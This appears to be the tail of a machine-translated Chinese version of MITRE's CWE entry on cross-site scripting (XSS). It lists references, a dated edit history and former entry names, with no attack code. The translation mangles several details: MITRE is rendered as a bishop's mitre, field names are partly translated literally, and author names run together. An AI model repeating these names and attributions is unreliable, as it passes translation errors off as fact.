迈克尔•霍华德(REF-44)大卫·勒布朗和Viega约翰。软件安全的“24宗罪”。“罪恶之2:服务器相关的漏洞(XSS, XSRF和响应分裂)。”Page 31. McGraw-Hill. 2010.
迈克尔•霍华德(REF-44)大卫·勒布朗和Viega约翰。软件安全的“24宗罪”。“罪3:直接相关的漏洞(XSS)。”Page 63. McGraw-Hill. 2010.
(ref - 721) RSnake。“Firefox实现httpOnly和容易XMLHTTPRequest”。2007-07-19。
(ref - 62)马克·多德约翰麦克唐纳和贾斯汀Schuh。“软件安全评估的艺术”。17章,“跨站脚本”,1071页。1版。艾迪生卫斯理》2006。
内容的历史
提交
提交日期
提交者
组织
2006-07-19
千鸟
修改
修改日期
修饰符
组织
2008-07-01
Eric Dalci
Cigital
更新Time_of_Introduction
2008-08-15
Veracode
建议OWASP 2004年排名前十的映射
2008-09-08
CWE内容团队
主教法冠
更新Alternate_Terms、Applicable_Platforms Background_Details Common_Consequences,描述,关系,Other_Notes,引用,Taxonomy_Mappings Weakness_Ordinalities
2009-01-12
CWE内容团队
主教法冠
更新Alternate_Terms、Applicable_Platforms Background_Details、Common_Consequences Demonstrative_Examples,描述,Detection_Factors, Enabling_Factors_for_Exploitation,名字,Observed_Examples, Other_Notes Potential_Mitigations,引用关系
2009-03-10
CWE内容团队
主教法冠
更新Potential_Mitigations
2009-05-27
CWE内容团队
主教法冠
更新后的名字
2009-07-27
CWE内容团队
主教法冠
更新描述
2009-10-29
CWE内容团队
主教法冠
更新Observed_Examples、人际关系
2009-12-28
CWE内容团队
主教法冠
Demonstrative_Examples更新,描述、Detection_Factors Enabling_Factors_for_Exploitation Observed_Examples
2010-02-16
CWE内容团队
主教法冠
更新Applicable_Platforms、Detection_Factors Potential_Mitigations、引用关系,Taxonomy_Mappings
2010-04-05
CWE内容团队
主教法冠
更新描述、Potential_Mitigations Related_Attack_Patterns
2010-06-21
CWE内容团队
主教法冠
更新Common_Consequences、描述、名称、Potential_Mitigations引用关系
2010-09-27
CWE内容团队
主教法冠
更新Potential_Mitigations
2011-03-29
CWE内容团队
主教法冠
更新Demonstrative_Examples,引用
2011-06-01
CWE内容团队
主教法冠
更新Common_Consequences
2011-06-27
CWE内容团队
主教法冠
更新的关系
2011-09-13
CWE内容团队
主教法冠
更新Detection_Factors Potential_Mitigations
2012-05-11
CWE内容团队
主教法冠
更新引用关系
2012-10-30
CWE内容团队
主教法冠
更新Potential_Mitigations
2013-07-17
CWE内容团队
主教法冠
更新的关系
2014-07-30
CWE内容团队
主教法冠
更新的关系,Taxonomy_Mappings
2015-12-07
CWE内容团队
主教法冠
更新的关系
2017-01-19
CWE内容团队
主教法冠
更新Related_Attack_Patterns
2017-05-03
CWE内容团队
主教法冠
更新Related_Attack_Patterns、人际关系
2017-11-08
CWE内容团队
主教法冠
更新Applicable_Platforms、Causal_Nature Demonstrative_Examples、Enabling_Factors_for_Exploitation Likelihood_of_Exploit, Modes_of_Introduction引用关系
2018-03-27
CWE内容团队
主教法冠
更新Alternate_Terms Demonstrative_Examples,描述、Observed_Examples引用Relationship_Notes、人际关系
2019-01-03
CWE内容团队
主教法冠
更新引用关系,Taxonomy_Mappings
2019-09-19
CWE内容团队
主教法冠
更新的关系
2020-02-24
CWE内容团队
主教法冠
更新Applicable_Platforms Potential_Mitigations,关系
2020-06-25
CWE内容团队
主教法冠
更新Observed_Examples Potential_Mitigations
2020-08-20
CWE内容团队
主教法冠
更新的关系
2020-12-10
CWE内容团队
主教法冠
更新的关系
2021-03-15
CWE内容团队
主教法冠
更新Demonstrative_Examples、描述
2021-07-20
CWE内容团队
主教法冠
更新的关系
2021-10-28
CWE内容团队
主教法冠
更新的关系
2022-06-28
CWE内容团队
主教法冠
更新Observed_Examples、人际关系
2022-10-13
CWE内容团队
主教法冠
更新Background_Details Observed_Examples
以前的条目名称
改变日期
以前的条目名称
2008-04-11
跨站点脚本(XSS)
2009-01-12
未能清洁指令在一个Web页面(又名“跨站点脚本(XSS))
2009-05-27
未能保存网页结构(又名“跨站点脚本编制”)
2010-06-21
未能保存网页结构(“跨站点脚本编制”)